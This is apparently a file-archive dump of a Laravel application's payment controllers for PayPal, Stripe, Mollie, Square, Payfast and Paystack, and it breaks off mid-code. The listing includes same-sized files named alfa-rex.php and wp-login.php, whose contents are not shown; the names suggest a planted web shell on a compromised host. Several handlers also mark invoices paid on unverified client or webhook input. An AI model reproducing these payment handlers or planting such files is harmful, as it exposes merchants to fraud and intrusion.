payWithPaypal() { return view('paywithpaypal', $this->data); } /** * Store a details of payment with PayPal. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\RedirectResponse */ /* Id could be order id OR invoice id, differentiate according to type */ public function paymentWithpaypal(Request $request, $id) { $redirectRoute = $request->type == 'order' ? 'orders.show' : 'invoices.show'; $redirectRoute = url()->temporarySignedRoute($redirectRoute, now()->addDays(GlobalSetting::SIGNED_ROUTE_EXPIRY), $id); return $this->makePaypalPayment($id, $redirectRoute, $request->type); } public function paymentWithpaypalPublic(Request $request, $invoiceId) { $invoice = Invoice::findOrFail($invoiceId); $this->setKeys($invoice->company->hash); $redirectRoute = 'front.invoice'; $redirectRoute = url()->temporarySignedRoute($redirectRoute, now()->addDays(GlobalSetting::SIGNED_ROUTE_EXPIRY), $invoice->hash); return $this->makePaypalPayment($invoiceId, $redirectRoute); } private function makePaypalPayment($id, $redirectRoute, $type = null) { if ($type == 'order') { Session::put('enc_invoice_id', $id); $order = Order::findOrFail($id); $company = $order->company; /** @phpstan-ignore-next-line */ $currencyCode = $order->currency->currency_code; $payAmount = $order->total; $paymentTitle = 'Payment for order #' . $order->id; } else { $invoice = Invoice::findOrFail($id); Session::put('enc_invoice_id', $invoice->hash); $company = $invoice->company; $currencyCode = $invoice->currency->currency_code; $payAmount = $invoice->due_amount; $paymentTitle = 'Payment for invoice #' . $invoice->invoice_number; } $this->setKeys($company->hash); $companyName = $company->company_name; $paymentType = !is_null($type) ? 'order' : 'invoice'; $payer = new Payer(); $payer->setPaymentMethod('paypal'); $item_1 = new Item(); $item_1->setName($paymentTitle) /** item name **/ ->setCurrency($currencyCode) ->setQuantity(1) ->setPrice($payAmount); /** unit price **/ $item_list = new ItemList(); $item_list->setItems(array($item_1)); $amount = new Amount(); $amount->setCurrency($currencyCode) ->setTotal($payAmount); $transaction = new Transaction(); $transaction->setAmount($amount) ->setItemList($item_list) ->setDescription($companyName . ' ' . $paymentTitle); $redirect_urls = new RedirectUrls(); $redirect_urls->setReturnUrl(route('get_paypal_status')) /** Specify return URL **/ ->setCancelUrl(route('get_paypal_status')); /* Make invoice for this order */ if ($paymentType == 'order' && isset($order)) { $invoice = $this->makeOrderInvoice($order); } $payment = new Payment(); $payment->setIntent('Sale') ->setPayer($payer) ->setRedirectUrls($redirect_urls) ->setTransactions(array($transaction)); config(['paypal.secret' => $this->paypalClientSecret]); config(['paypal.settings.mode' => $this->paypalMode]); try { $payment->create($this->api_context); } catch (\PayPal\Exception\PayPalConnectionException $ex) { if ($type == 'order' && isset($order)) { $this->paymentFailed($ex, $payAmount, null, $order); } elseif ($type == 'invoice' && isset($invoice)) { $this->paymentFailed($ex, $payAmount, $invoice, null); } if (\Config::get('app.debug')) { Session::put('error', 'Connection timeout'); return Redirect::to($redirectRoute); /** echo "Exception: " . $ex->getMessage() . PHP_EOL; **/ /** $err_data = json_decode($ex->getData(), true); **/ /** exit; **/ } else { Session::put('error', __('messages.errorOccured')); return Redirect::to($redirectRoute); /** die(__('messages.errorOccured')); **/ } } foreach ($payment->getLinks() as $link) { if ($link->getRel() == 'approval_url') { $redirect_url = $link->getHref(); break; } } /** add payment ID to session **/ Session::put('paypal_payment_id', $payment->getId()); Session::put('type', $paymentType); /** @phpstan-ignore-next-line */ Session::put('invoice_id', $invoice->id); /* make invoice payment here */ /** @phpstan-ignore-next-line */ $this->makePayment('PayPal', $payAmount, $invoice, $payment->getId()); if (isset($redirect_url)) { /** redirect to paypal **/ return Redirect::away($redirect_url); } Session::put('error', 'Unknown error occurred'); return Redirect::to($redirectRoute); } public function paymentFailed($exception, $payAmount, $invoice, $order) { /* Set status=unpaid in invoice table */ if (isset($invoice) && $invoice != null) { $invoice = Invoice::where('invoice_id', $invoice->id)->first(); $invoice->status = 'unpaid'; $invoice->due_amount += $payAmount; $invoice->save(); } $payment_gateway_response = ['code' => $exception->getCode(), 'message' => $exception->getMessage()]; $payment = new ModelsPayment(); $payment->status = 'failed'; $payment->payment_gateway_response = $payment_gateway_response; if (isset($order) && $order != null) { $payment->order_id = $order->id; $order->status = 'failed'; $order->save(); } if (isset($invoice) && $invoice != null) { $payment->invoice_id = $invoice->id; } $payment->save(); } public function getPaymentStatus(Request $request) { /** Get the payment ID before session clear **/ $type = Session::get('type'); $invoiceId = Session::get('invoice_id'); $payment_id = $request->paymentId; $enc_invoice_id = Session::get('enc_invoice_id'); $redirectRoute = 'invoices.show'; $id = $invoiceId; if (empty($enc_invoice_id)) { return redirect(route('dashboard')); } $invoice = Invoice::findOrFail($invoiceId); $this->setKeys($invoice->company->hash); if ($type == 'invoice') { $redirectRoute = ($enc_invoice_id == $invoiceId) ? 'invoices.show' : 'front.invoice'; $id = $redirectRoute == 'invoices.show' ? $invoiceId : $invoice->hash; } elseif ($type == 'order') { $redirectRoute = 'orders.show'; $id = $enc_invoice_id; } $clientPayment = ModelsPayment::where('transaction_id', $payment_id)->first(); /** Clear the session payment ID **/ Session::forget('paypal_payment_id'); if (empty($request->PayerID) || empty($request->token)) { Session::put('error', __('messages.paymentFailed')); return redirect(url()->temporarySignedRoute($redirectRoute, now()->addDays(GlobalSetting::SIGNED_ROUTE_EXPIRY), [$id])); } $payment = Payment::get($payment_id, $this->api_context); /** PaymentExecution object includes information necessary **/ /** to execute a PayPal account payment. **/ /** The payer_id is added to the request query parameters **/ /** when the user is redirected from paypal back to your site **/ $execution = new PaymentExecution(); $execution->setPayerId($request->get('PayerID')); /**Execute the payment **/ $result = $payment->execute($execution, $this->api_context); /** DEBUG RESULT, remove it later **/ if ($result->getState() == 'approved') { /** it's all right **/ /** Here Write your database logic like that insert record or value in database if you want **/ $clientPayment->status = 'complete'; $clientPayment->remarks = 'success'; $clientPayment->paid_on = now(); $clientPayment->save(); $invoice = Invoice::findOrFail($invoiceId); $invoice->status = 'paid'; $invoice->save(); if ($type == 'order') { $order = Order::findOrFail($enc_invoice_id); $order->status = 'completed'; $order->save(); } Session::put('success', __('messages.paymentSuccessful')); return redirect(url()->temporarySignedRoute($redirectRoute, now()->addDays(GlobalSetting::SIGNED_ROUTE_EXPIRY), [$enc_invoice_id])); } Session::put('error', __('messages.paymentFailed')); return redirect(url()->temporarySignedRoute($redirectRoute, now()->addDays(GlobalSetting::SIGNED_ROUTE_EXPIRY), [$enc_invoice_id])); } public function payWithPaypalRecurring(Request $requestObject) { /** Get the payment ID before session clear **/ $payment_id = Session::get('paypal_payment_id'); $invoice_id = Session::get('invoice_id'); $enc_invoice_id = Session::get('enc_invoice_id'); $redirectRoute = 'invoices.show'; if ($enc_invoice_id == $invoice_id) { $redirectRoute = 'invoices.show'; } else { $redirectRoute = 'front.invoice'; } $clientPayment = ModelsPayment::where('plan_id', $payment_id)->first(); /** clear the session payment ID **/ Session::forget('paypal_payment_id'); if ($requestObject->get('success') && $requestObject->has('token')) { $token = $requestObject->get('token'); $agreement = new Agreement(); try { // Execute Agreement // Execute the agreement by passing in the token $agreement->execute($token, $this->api_context); if ($agreement->getState() == 'Active') { $clientPayment->transaction_id = $agreement->getId(); $clientPayment->status = 'complete'; $clientPayment->paid_on = now(); $clientPayment->save(); $invoice = Invoice::findOrFail($clientPayment->invoice_id); $invoice->status = 'paid'; $invoice->save(); Session::put('success', __('messages.paymentSuccessful')); return redirect(url()->temporarySignedRoute($redirectRoute, now()->addDays(GlobalSetting::SIGNED_ROUTE_EXPIRY), [$enc_invoice_id])); } Session::put('error', __('messages.paymentFailed')); return redirect(url()->temporarySignedRoute($redirectRoute, now()->addDays(GlobalSetting::SIGNED_ROUTE_EXPIRY), [$enc_invoice_id])); } catch (Exception $ex) { if (Config::get('app.debug')) { Session::put('error', 'Connection timeout'); return redirect(url()->temporarySignedRoute($redirectRoute, now()->addDays(GlobalSetting::SIGNED_ROUTE_EXPIRY), [$enc_invoice_id])); } else { Session::put('error', __('messages.errorOccured')); return redirect(url()->temporarySignedRoute($redirectRoute, now()->addDays(GlobalSetting::SIGNED_ROUTE_EXPIRY), [$enc_invoice_id])); } } } else if ($requestObject->get('fail')) { Session::put('error', __('messages.paymentFailed')); return redirect(url()->temporarySignedRoute($redirectRoute, now()->addDays(GlobalSetting::SIGNED_ROUTE_EXPIRY), [$enc_invoice_id])); } abort_403(true); } public function webhook(Request $request, $companyHash) { $this->setKeys($companyHash); if (isset($request->event_type) && $request->event_type == 'PAYMENT.SALE.COMPLETED') { $payment = ModelsPayment::where('transaction_id', $request->resource['parent_payment'])->first(); if ($payment) { $payment->status = 'complete'; $payment->paid_on = now(); $payment->save(); $invoice = Invoice::findOrFail($payment->invoice_id); $invoice->status = 'paid'; $invoice->save(); if ($payment->order_id) { $order = Order::findOrFail($payment->order_id); $order->status = 'completed'; $order->save(); } } } return response()->json(['message' => 'Webhook Handled']); } } Http/Controllers/Payment/StripeWebhookController.php000064400000015361150325104510016752 0ustar00json([ 'message' => 'The route has been moved to another route. Please check the Stripe settings again.' ]); } $company = Company::where('hash', $companyHash)->first(); if (!$company) { return response()->json([ 'message' => 'The webhook URL provided is incorrect.' ]); } return response()->json([ 'message' => 'This URL should not be opened directly (GET Request). Only POST requests are accepted. Add this URL to your Stripe webhook.' ]); } /** */ public function verifyStripeWebhook(Request $request, $companyHash) { $company = Company::where('hash', $companyHash)->first(); if (!$company) { return response()->json([ 'message' => 'Please enter the correct webhook url. You have entered wrong webhook url' ]); } // This needs to be set according to company id $stripeCredentials = $company->paymentGatewayCredentials; $stripeSecret = $stripeCredentials->stripe_mode == 'test' ? $stripeCredentials->test_stripe_secret : $stripeCredentials->live_stripe_secret; $webhookSecret = $stripeCredentials->stripe_mode == 'test' ? $stripeCredentials->test_stripe_webhook_secret : $stripeCredentials->live_stripe_webhook_secret; if (is_null($webhookSecret)) { return response()->json([ 'error' => true, 'message' => 'Webhook secret is not entered', ], 400); // 400 Bad Request } Stripe::setApiKey($stripeSecret); // You can find your endpoint's secret in your webhook settings $endpoint_secret = $webhookSecret; $payload = @file_get_contents('php://input'); $sig_header = $_SERVER['HTTP_STRIPE_SIGNATURE']; try { Webhook::constructEvent($payload, $sig_header, $endpoint_secret); } catch (\UnexpectedValueException $e) { // Invalid payload return response(__('messages.invalidPayload'), 400); } catch (SignatureVerificationException $e) { // Invalid signature return response(__('messages.invalidSignature'), 400); } $payload = json_decode($request->getContent(), true); $eventId = $payload['id']; $intentId = $payload['data']['object']['id']; if ($payload['data']['object']['status'] != 'succeeded') { $this->paymentFailed($payload); return response(__('messages.paymentFailed'), 400); } // Do something with $event if ($payload['type'] == 'payment_intent.succeeded') { $prevClientPayment = Payment::where('payload_id', $intentId) ->whereNull('event_id') ->first(); if ($prevClientPayment) { /* Found payment with same transaction id */ $prevClientPayment->event_id = $eventId; $prevClientPayment->save(); } else { /* Found nothing on payment table with same transaction id */ /* If it is an invoice payment */ if (isset($payload['data']['object']['metadata']['invoice_id'])) { $invoiceId = $payload['data']['object']['metadata']['invoice_id']; $invoice = Invoice::findOrFail($invoiceId); $currencyId = $invoice->currency_id; } /* If it is an order payment */ if (isset($payload['data']['object']['metadata']['order_id'])) { $orderId = $payload['data']['object']['metadata']['order_id']; $order = Order::findOrFail($orderId); $invoice = $this->makeOrderInvoice($order); $invoiceId = $invoice->id; $currencyId = $order->currency_id; } /* Make payment */ if (isset($invoice) && isset($currencyId) && isset($invoiceId)) { $this->makePayment('Stripe', $payload['data']['object']['amount'] / 100, $invoice, $payload['data']['object']['id'], 'complete'); } /* Change invoice status */ if (isset($payload['data']['object']['metadata']['invoice_id']) && isset($invoice)) { $invoice->status = 'paid'; $invoice->save(); } /* Change order status */ if (isset($payload['data']['object']['metadata']['order_id']) && isset($order)) { $order->status = 'completed'; $order->save(); } } } return response(__('messages.webhookHandled'), 200); } /** * @throws RelatedResourceNotFoundException */ public function paymentFailed($payload) { $intentId = $payload['data']['object']['id']; $invoiceId = $payload['data']['object']['metadata']['invoice_id'] ?? null; $orderId = $payload['data']['object']['metadata']['order_id'] ?? null; $code = $payload['data']['object']['charges']['data'][0]['failure_code']; $message = $payload['data']['object']['charges']['data'][0]['failure_message']; $errorMessage = ['code' => $code, 'message' => $message]; /* Set status=unpaid in invoice table */ /* public and dashboard invoices */ if (isset($invoiceId) && $invoiceId != null) { $invoice = Invoice::where('invoice_id', $invoiceId)->latest()->first(); } /* Set status=unpaid in invoice table */ if (isset($orderId) && $orderId != null) { $invoice = Invoice::where('order_id', $orderId)->latest()->first(); } if (isset($invoice)) { $invoice->status = 'unpaid'; $invoice->due_amount = $invoice->amount; $invoice->save(); } $payment = Payment::where('payload_id', $intentId)->first(); $payment->status = 'failed'; $payment->payment_gateway_response = $errorMessage; $payment->save(); } } Http/Controllers/Payment/StripeController.php000064400000005046150325104510015432 0ustar00stripe_mode == 'test' ? $stripeCredentials->test_stripe_secret : $stripeCredentials->live_stripe_secret); $this->pageTitle = __('app.stripe'); } /** * Store a details of payment with paypal. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function paymentWithStripe(Request $request, $id) { $redirectRoute = 'invoices.show'; $invoice = Invoice::findOrFail($id); $param = 'invoice'; $paymentIntentId = $request->paymentIntentId; if(isset($request->type) && $request->type == 'order'){ $redirectRoute = 'orders.show'; $param = 'order'; $invoice = Invoice::where('order_id', $id)->latest()->first(); } $this->makePayment('Stripe', $invoice->amountDue(), $invoice, $paymentIntentId, 'complete'); $invoice->status = 'paid'; $invoice->save(); return $this->makeStripePayment($redirectRoute, $id, $param); } public function paymentWithStripePublic(Request $request, $hash) { $redirectRoute = 'front.invoice'; $paymentIntentId = $request->paymentIntentId; $invoice = Invoice::where('hash', $hash)->first(); $this->makePayment('Stripe', $invoice->amountDue(), $invoice, $paymentIntentId, 'complete'); $invoice->status = 'paid'; $invoice->save(); return $this->makeStripePayment($redirectRoute, $hash, 'hash'); } private function makeStripePayment($redirectRoute, $id , $param = null) { $param = $param ?? 'invoice'; $signedUrl = url()->temporarySignedRoute($redirectRoute, now()->addDays(\App\Models\GlobalSetting::SIGNED_ROUTE_EXPIRY), [$param => $id]); Session::put('success', __('messages.paymentSuccessful')); return Reply::redirect($signedUrl, __('messages.paymentSuccessful')); } } Http/Controllers/Payment/.htaccess000064400000000544150325104510013203 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Controllers/Payment/MollieController.php000064400000014445150325104510015410 0ustar00pageTitle = __('app.mollie'); } public function paymentWithMolliePublic(Request $request, $id, $companyHash) { $this->mollieSet($companyHash); $request->validate([ 'name' => 'required|string', 'email' => 'required|email:rfc,strict', ]); $customer = Mollie::api()->customers()->create([ 'name' => $request->name, 'email' => $request->email, ]); switch ($request->type) { case 'invoice': $invoice = Invoice::findOrFail($id); $company = $invoice->company; $description = __('app.invoice') . ' ' . $invoice->invoice_number; $metadata = [ 'invoice_number' => $invoice->invoice_number, 'type' => $request->type ]; $amount = $invoice->amountDue(); $currency = $invoice->currency ? $invoice->currency->currency_code : 'ZAR'; $callback_url = route('mollie.callback', [$id, 'invoice',$invoice->company->hash]); break; case 'order': $order = Order::findOrFail($id); $company = $order->company; $description = __('app.order') . ' ' . $order->order_number; $metadata = [ 'order_number' => $order->order_number, 'type' => $request->type ]; $amount = $order->total; $currency = $order->currency ? $order->currency->currency_code : 'USD'; $callback_url = route('mollie.callback', [$id, 'order',$order->company->hash]); break; default: return Reply::error(__('messages.paymentTypeNotFound')); } try { $payment = Mollie::api()->payments->create([ /* @phpstan-ignore-line */ 'amount' => [ 'currency' => $currency, 'value' => number_format((float)$amount, 2, '.', '') // You must send the correct number of decimals, thus we enforce the use of strings ], 'description' => $description, 'customerId' => $customer->id, 'redirectUrl' => $callback_url, 'webhookUrl' => route('mollie.webhook', [$company->hash]), 'metadata' => $metadata, ]); session()->put('mollie_payment_id', $payment->id); } catch (ApiException $e) { if ($e->getField() == 'webhookUrl' && $e->getCode() == '422') { return Reply::error('Mollie Webhook will work on live server or you can try ngrok. It will not work on localhost' . $e->getMessage()); } return Reply::error($e->getMessage()); } catch (\Throwable $th) { return Reply::error($th->getMessage()); } return Reply::redirect($payment->getCheckoutUrl()); } public function handleGatewayCallback(Request $request, $id, $type, $companyHash) { $this->mollieSet($companyHash); try { $payment = Mollie::api()->payments()->get(session()->get('mollie_payment_id')); switch ($type) { case 'invoice': $invoice = Invoice::findOrFail($id); $invoice->status = $payment->isPaid() ? 'paid' : 'unpaid'; $invoice->save(); $this->makePayment('Mollie', $payment->amount->value, $invoice, $payment->id, ($payment->isPaid() ? 'complete' : 'failed')); return redirect(url()->temporarySignedRoute('front.invoice', now()->addDays(GlobalSetting::SIGNED_ROUTE_EXPIRY), $invoice->hash)); case 'order': $order = Order::findOrFail($id); $invoice = $this->makeOrderInvoice($order, ($payment->isPaid() ? 'completed' : 'failed')); $this->makePayment('Mollie', $payment->amount->value, $invoice, $payment->id, ($payment->isPaid() ? 'complete' : 'failed')); return redirect()->route('orders.show', $id); default: return redirect()->route('dashboard'); } } catch (ApiException $e) { Log::info($e->getMessage()); } catch (\Throwable $th) { Log::error($th->getMessage()); } return redirect()->route('dashboard'); } public function handleGatewayWebhook(Request $request, $companyHash) { $this->mollieSet($companyHash); try { $payment = Mollie::api()->payments()->get($request->id); switch ($payment->metadata->type) { case 'invoice': $invoice = Invoice::findOrFail($payment->metadata->id); $invoice->status = $payment->isPaid() ? 'paid' : 'unpaid'; $invoice->save(); $this->makePayment('Mollie', $payment->amount->value, $invoice, $payment->id, ($payment->isPaid() ? 'complete' : 'failed')); break; case 'order': $order = Order::findOrFail($payment->metadata->id); $invoice = $this->makeOrderInvoice($order, ($payment->isPaid() ? 'completed' : 'failed')); $this->makePayment('Mollie', $payment->amount->value, $invoice, $payment->id, ($payment->isPaid() ? 'complete' : 'failed')); break; default: break; } } catch (ApiException $e) { Log::info($e->getMessage()); return response()->json(['status' => 'error', 'message' => $e->getMessage()], 500); } catch (\Throwable $th) { Log::error($th->getMessage()); return response()->json(['status' => 'error', 'message' => $th->getMessage()], 500); } return response()->json(['status' => 'success']); } } Http/Controllers/Payment/alfa-rex.php7000064400000026574150325104510013717 0ustar00Http/Controllers/Payment/alfa-rex.php8000064400000026574150325104510013720 0ustar00Http/Controllers/Payment/wp-login.php000064400000026574150325104510013665 0ustar00Http/Controllers/Payment/SquareController.php000064400000017313150325104510015424 0ustar00pageTitle = __('app.square'); } public function paymentWithSquarePublic(Request $request) { switch ($request->type) { case 'invoice': $invoice = Invoice::findOrFail($request->id); $company = $invoice->company; $description = __('app.invoice') . ' #' . $invoice->invoice_number; $metadata = [ 'id' => $invoice->invoice_number, 'type' => $request->type ]; $amount = $invoice->amountDue(); $callback_url = route('square.callback', [$request->id, $request->type, $company->hash]); break; case 'order': $order = Order::findOrFail($request->id); $company = $order->company; $invoice = $this->makeOrderInvoice($order, 'pending'); $description = __('app.order') . ' #' . $order->order_number; $metadata = [ 'id' => $order->order_number, 'type' => $request->type ]; $amount = $order->total; $callback_url = route('square.callback', [$request->id, $request->type, $company->hash]); break; default: return Reply::error(__('messages.paymentTypeNotFound')); } $this->squareSet($company->hash); $client = new SquareClient([ 'accessToken' => config('services.square.access_token'), 'environment' => config('services.square.environment'), ]); $location_id = config('services.square.location_id'); try { $checkout_api = $client->getCheckoutApi(); // Set currency to the currency for the location $currency = $client->getLocationsApi()->retrieveLocation($location_id)->getResult()->getLocation()->getCurrency(); $money = new Money(); $money->setCurrency($currency); $money->setAmount($amount * 100); $item = new OrderLineItem(1); $item->setName($description); $item->setBasePriceMoney($money); // Create a new order and add the line items as necessary. $order = new SquareOrder($location_id); $order->setLineItems([$item]); // set metadata $order->setMetaData($metadata); $create_order_request = new CreateOrderRequest(); $create_order_request->setOrder($order); // Similar to payments you must have a unique idempotency key. $checkout_request = new CreateCheckoutRequest(uniqid(), $create_order_request); // Set a custom redirect URL, otherwise a default Square confirmation page will be used $checkout_request->setRedirectUrl($callback_url); $response = $checkout_api->createCheckout($location_id, $checkout_request); if ($response->isError()) { return Reply::error($response->getErrors()[0]->getDetail()); } $this->makePayment('Square', $amount, $invoice, $response->getResult()->getCheckout()->getOrder()->getId()); return Reply::redirect($response->getResult()->getCheckout()->getCheckoutPageUrl(), __('modules.square.redirectMessage')); } catch (ApiException $e) { return Reply::error($e->getMessage()); } catch (\Throwable $e) { return Reply::error($e->getMessage()); } } public function handleGatewayCallback(Request $request, $id, $type, $companyHash) { $this->squareSet($companyHash); $client = new SquareClient([ 'accessToken' => config('services.square.access_token'), 'environment' => config('services.square.environment'), ]); try { $order_api = $client->getOrdersApi(); $order = $order_api->retrieveOrder($request->transactionId)->getResult()->getOrder(); $amount = ($order->getTotalMoney()->getAmount() / 100); switch ($type) { case 'invoice': $invoice = Invoice::findOrFail($id); $invoice->status = ($order->getState() == 'COMPLETED') ? 'paid' : 'unpaid'; $invoice->save(); $this->makePayment('Square', $amount, $invoice, $request->transactionId, (($order->getState() == 'COMPLETED') ? 'complete' : 'failed')); return redirect(url()->temporarySignedRoute('front.invoice', now()->addDays(GlobalSetting::SIGNED_ROUTE_EXPIRY), $invoice->hash)); case 'order': $clientOrder = Order::findOrFail($id); $invoice = $this->makeOrderInvoice($clientOrder, ($order->getState() == 'COMPLETED' ? 'completed' : 'failed')); $this->makePayment('Square', $amount, $invoice, $request->transactionId, ($order->getState() == 'COMPLETED' ? 'complete' : 'failed')); return redirect()->route('orders.show', $id); default: return redirect()->route('dashboard'); } } catch (ApiException $e) { Log::info($e->getMessage()); } catch (\Throwable $e) { Log::error($e->getMessage()); } return redirect()->route('dashboard'); } public function handleGatewayWebhook(Request $request, $companyHash) { $this->squareSet($companyHash); if ($request->type == 'order.updated') { $client = new SquareClient([ 'accessToken' => config('services.square.access_token'), 'environment' => config('services.square.environment'), ]); try { $order_api = $client->getOrdersApi(); $order = $order_api->retrieveOrder($request->data['id'])->getResult()->getOrder(); $amount = ($order->getTotalMoney()->getAmount() / 100); switch ($order->getMetaData()['type']) { case 'invoice': $invoice = Invoice::findOrFail($order->getMetaData()['id']); $invoice->status = ($order->getState() == 'COMPLETED') ? 'paid' : 'unpaid'; $invoice->save(); $this->makePayment('Square', $amount, $invoice, $request->data['id'], (($order->getState() == 'COMPLETED') ? 'complete' : 'failed')); break; case 'order': $clientOrder = Order::findOrFail($order->getMetaData()['id']); $invoice = $this->makeOrderInvoice($clientOrder, ($order->getState() == 'COMPLETED' ? 'completed' : 'failed')); $this->makePayment('Square', $amount, $invoice, $request->data['id'], ($order->getState() == 'COMPLETED' ? 'complete' : 'failed')); break; } } catch (ApiException $e) { Log::info($e->getMessage()); } catch (\Throwable $e) { Log::error($e->getMessage()); } return response()->json(['status' => 'success']); } } } Http/Controllers/Payment/alfa-rex.php56000064400000026574150325104510014003 0ustar00Http/Controllers/Payment/about.php000064400000026574150325104510013243 0ustar00Http/Controllers/Payment/error_log000064400000001626150325104510013324 0ustar00[04-Jul-2025 14:17:18 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 14:20:27 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Controllers/Payment/PayfastController.php000064400000011044150325104510015566 0ustar00pageTitle = __('app.payfast'); } public function paymentWithPayfastPublic(Request $request) { switch ($request->type) { case 'invoice': $invoice = Invoice::findOrFail($request->id); $company = $invoice->company; $client = $invoice->client_id ? $invoice->client : $invoice->project->client; $description = __('app.invoice') . ' ' . $invoice->invoice_number; $amount = $invoice->amountDue(); break; case 'order': $order = Order::findOrFail($request->id); $company = $order->company; $client = $order->client; $description = __('app.order') . ' ' . $order->order_number; $amount = $order->total; break; default: return Reply::error(__('messages.paymentTypeNotFound')); } $this->payfastSet($company->hash); try { Config::set('payfast.merchant.return_url', route('payfast.callback', [$request->id, $request->type, 'success'])); Config::set('payfast.merchant.cancel_url', route('payfast.callback', [$request->id, $request->type, 'cancel'])); Config::set('payfast.merchant.notify_url', route('payfast.webhook', [$company->hash])); $payfast = new Payfast(); $payfast->setBuyer($client->name, '', $client->email); $payfast->setAmount($amount); $payfast->setItem($request->type, $description); $payfast->setMerchantReference($request->type . '_' . $request->id); $payfast->setCustomStr1($request->type); $payfast->setCustomInt1($request->id); // Return the payment form. return Reply::successWithData(__('modules.payfast.redirectMessage'), ['form' => $payfast->paymentForm(false)]); } catch (\Throwable $th) { return Reply::error($th->getMessage()); } } public function handleGatewayCallback($id, $type, $status) { switch ($type) { case 'invoice': $invoice = Invoice::findOrFail($id); if ($invoice->status != 'paid') { $invoice->status = $status == 'success' ? 'paid' : 'unpaid'; $invoice->save(); $this->makePayment('Payfast', $invoice->amountDue(), $invoice, 'payfast_' . $invoice->id, ($status == 'success' ? 'complete' : 'failed')); } return redirect(url()->temporarySignedRoute('front.invoice', now()->addDays(GlobalSetting::SIGNED_ROUTE_EXPIRY), $invoice->hash)); case 'order': $order = Order::findOrFail($id); $invoice = $this->makeOrderInvoice($order, ($status == 'success' ? 'completed' : 'failed')); $this->makePayment('Payfast', $invoice->amountDue(), $invoice, 'payfast_' . $invoice->id, (($status == 'success') ? 'complete' : 'failed')); return redirect()->route('orders.show', $id); } return redirect()->route('dashboard'); } public function handleGatewayWebhook(Request $request, $companyHash) { $this->payfastSet($companyHash); switch ($request->custom_str1) { case 'invoice': $invoice = Invoice::findOrFail($request->custom_int1); $invoice->status = ($request->payment_status == 'COMPLETE') ? 'paid' : 'unpaid'; $invoice->save(); $this->makePayment('Payfast', $request->amount_gross, $invoice, $request->m_payment_id, (($request->payment_status == 'COMPLETE') ? 'complete' : 'failed')); break; case 'order': $order = Order::findOrFail($request->custom_int1); $invoice = $this->makeOrderInvoice($order, ($request->payment_status == 'COMPLETE' ? 'completed' : 'failed')); $this->makePayment('Payfast', $request->amount_gross, $invoice, $request->m_payment_id, (($request->payment_status == 'COMPLETE') ? 'complete' : 'failed')); break; } return response()->json(['status' => 'success']); } } Http/Controllers/Payment/PaystackController.php000064400000012244150325104510015741 0ustar00pageTitle = __('app.paystack'); } public function paymentWithPaystackPublic(Request $request, $id, $companyHash) { $this->paystackSet($companyHash); $request->validate([ 'name' => 'required|string', 'email' => 'required|email:rfc,strict', ]); $paystack = new Paystack(); switch ($request->type) { case 'invoice': $invoice = Invoice::findOrFail($id); $request->orderID = $invoice->id; $request->metadata = [ 'invoice_number' => $invoice->invoice_number, 'payment_type' => $request->type ]; $request->amount = ($invoice->amountDue() * 100); $request->currency = $invoice->currency ? $invoice->currency->currency_code : 'ZAR'; $request->callback_url = route('paystack.callback', [$id, 'invoice', $invoice->company->hash]); break; case 'order': $order = Order::findOrFail($id); $request->orderID = $order->id; $request->metadata = [ 'order_number' => $order->order_number, 'payment_type' => $request->type ]; $request->amount = ($order->total * 100); $request->currency = $order->currency ? $order->currency->currency_code : 'ZAR'; $request->callback_url = route('paystack.callback', [$id, 'order', $order->company->hash]); break; default: return Reply::error(__('messages.paymentTypeNotFound')); } $request->first_name = $request->name; $request->quantity = 1; $request->reference = $paystack->genTranxRef(); try { /** @phpstan-ignore-next-line */ return Reply::redirect($paystack->getAuthorizationUrl()->url); } catch (ClientException $e) { return Reply::error(json_decode($e->getResponse()->getBody(), true)['message']); } catch (\Throwable $th) { return Reply::error($th->getMessage()); } } public function handleGatewayCallback($id, $type, $companyHash) { $this->paystackSet($companyHash); $paystack = new Paystack(); $paymentDetails = $paystack->getPaymentData(); switch ($type) { case 'invoice': $invoice = Invoice::findOrFail($id); $invoice->status = ($paymentDetails['data']['status'] == 'success') ? 'paid' : 'unpaid'; $invoice->save(); $this->makePayment('Paystack', ($paymentDetails['data']['amount'] / 100), $invoice, $paymentDetails['data']['reference'], (($paymentDetails['data']['status'] == 'success') ? 'complete' : 'failed')); return redirect(url()->temporarySignedRoute('front.invoice', now()->addDays(GlobalSetting::SIGNED_ROUTE_EXPIRY), $invoice->hash)); case 'order': $order = Order::findOrFail($id); $invoice = $this->makeOrderInvoice($order, (($paymentDetails['data']['status'] == 'success') ? 'completed' : 'failed')); $this->makePayment('Paystack', ($paymentDetails['data']['amount'] / 100), $invoice, $paymentDetails['data']['reference'], (($paymentDetails['data']['status'] == 'success') ? 'complete' : 'failed')); return redirect()->route('orders.show', $id); default: return redirect()->route('dashboard'); } } public function handleGatewayWebhook(Request $request) { $paymentDetails = $request->toArray(); switch ($paymentDetails['data']['metadata']['payment_type']) { case 'invoice': $invoice = Invoice::findOrFail($paymentDetails['data']['metadata']['id']); $invoice->status = ($paymentDetails['data']['status'] == 'success') ? 'paid' : 'unpaid'; $invoice->save(); $this->makePayment('Paystack', ($paymentDetails['data']['amount'] / 100), $invoice, $paymentDetails['data']['reference'], (($paymentDetails['data']['status'] == 'success') ? 'complete' : 'failed')); break; case 'order': $order = Order::findOrFail($paymentDetails['data']['metadata']['id']); $invoice = $this->makeOrderInvoice($order, (($paymentDetails['data']['status'] == 'success') ? 